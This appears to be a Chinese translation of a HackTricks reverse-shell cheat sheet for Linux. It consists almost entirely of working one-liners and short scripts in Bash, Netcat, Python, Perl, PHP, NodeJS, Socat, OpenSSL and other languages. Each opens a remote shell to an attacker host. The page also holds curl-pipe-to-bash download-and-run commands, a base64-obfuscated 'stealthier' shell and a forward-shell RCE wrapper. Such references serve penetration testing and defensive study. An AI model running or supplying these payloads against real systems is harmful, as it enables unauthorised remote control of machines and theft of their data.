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Shells - Linux
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如果你对这些 shell 有任何问题，可以查看 https://explainshell.com/
Full TTY
一旦你获得了反向 shell 请阅读此页面以获取完整 TTY.
Bash | sh
curl https://reverse-shell.sh/1.1.1.1:3000 | bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done
#Short and bypass (credits to Dikline)
(sh)0>/dev/tcp/10.10.10.10/9091
#after getting the previous shell to get the output to execute
exec >&0
不要忘记检查其他shell：sh、ash、bsh、csh、ksh、zsh、pdksh、tcsh和bash。
符号安全shell
#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
#Stealthier method
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
Shell 解释
bash -i: 该命令的这一部分启动一个交互式（-i）Bash shell。>&: 该命令的这一部分是将标准输出（stdout）和标准错误（stderr）重定向到同一目标的简写表示法。/dev/tcp/<ATTACKER-IP>/<PORT>: 这是一个特殊文件，表示与指定IP地址和端口的TCP连接。
- 通过将输出和错误流重定向到此文件，该命令有效地将交互式shell会话的输出发送到攻击者的机器。
0>&1: 该命令的这一部分将标准输入（stdin）重定向到与标准输出（stdout）相同的目标。
创建文件并执行
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
Forward Shell
在处理基于Linux的Web应用程序中的**远程代码执行（RCE）**漏洞时，获得反向shell可能会受到网络防御的阻碍，例如iptables规则或复杂的数据包过滤机制。在这种受限环境中，另一种方法是建立一个PTY（伪终端）shell，以更有效地与被攻陷的系统进行交互。
为此推荐的工具是toboggan，它简化了与目标环境的交互。
要有效使用toboggan，请创建一个针对目标系统RCE上下文量身定制的Python模块。例如，一个名为nix.py的模块可以结构如下：
import jwt
import httpx
def execute(command: str, timeout: float = None) -> str:
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
token = jwt.encode(
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
)
response = httpx.get(
url="https://vulnerable.io:3200",
headers={"Authorization": f"Bearer {token}"},
timeout=timeout,
# ||BURP||
verify=False,
)
# Check if the request was successful
response.raise_for_status()
return response.text
然后，您可以运行：
toboggan -m nix.py -i
直接利用交互式 shell。您可以添加 -b 以实现 Burpsuite 集成，并删除 -i 以获得更基本的 rce 包装器。
另一种可能性是使用 IppSec 的前向 shell 实现 https://github.com/IppSec/forward-shell。
您只需修改：
- 漏洞主机的 URL
- 您的有效负载的前缀和后缀（如果有）
- 有效负载发送的方式（头部？数据？额外信息？）
然后，您可以直接 发送命令，甚至 使用 upgrade 命令 来获取完整的 PTY（请注意，管道的读取和写入大约有 1.3 秒的延迟）。
Netcat
nc -e /bin/sh <ATTACKER-IP> <PORT>
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
gsocket
在 https://www.gsocket.io/deploy/ 查看它
bash -c "$(curl -fsSL gsocket.io/x)"
Telnet
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
Whois
攻击者
while true; do nc -l <port>; done
要发送命令，请写下它，按回车，然后按CTRL+D（以停止STDIN）
受害者
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
Python
#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
Perl
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
PHP
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
// Using 'proc_open' makes no assumptions about what the file descriptor will be.
// See https://security.stackexchange.com/a/198944 for more information
<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Ncat
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl
Golang
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
Lua
#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
NodeJS
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
or
require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")
or
-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')
or
// If you get to the constructor of a function you can define and execute another function inside a string
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
or
// Abuse this syntax to get a reverse shell
var fs = this.process.binding('fs');
var fs = process.binding('fs');
or
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
OpenSSL
攻击者 (Kali)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
受害者
#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
Socat
https://github.com/andrew-d/static-binaries
绑定shell
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
反向 shell
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
Awk
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
Finger
攻击者
while true; do nc -l 79; done
要发送命令，请写下它，按回车，然后按CTRL+D（以停止STDIN）
受害者
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
Gawk
#!/usr/bin/gawk -f
BEGIN {
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
Xterm
这将尝试通过6001端口连接到您的系统：
xterm -display 10.0.0.1:1
要捕获反向 shell，您可以使用（将在 6001 端口监听）：
# Authorize host
xhost +targetip
# Listen
Xnest :1
Groovy
由 frohoff 注意：Java 反向 shell 也适用于 Groovy
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
参考文献
- https://highon.coffee/blog/reverse-shell-cheat-sheet/
- http://pentestmonkey.net/cheat-sheet/shells/reverse-shell
- https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
努力安全小组
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{% hint style="success" %}
学习和实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE)
学习和实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 上关注 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 分享黑客技巧。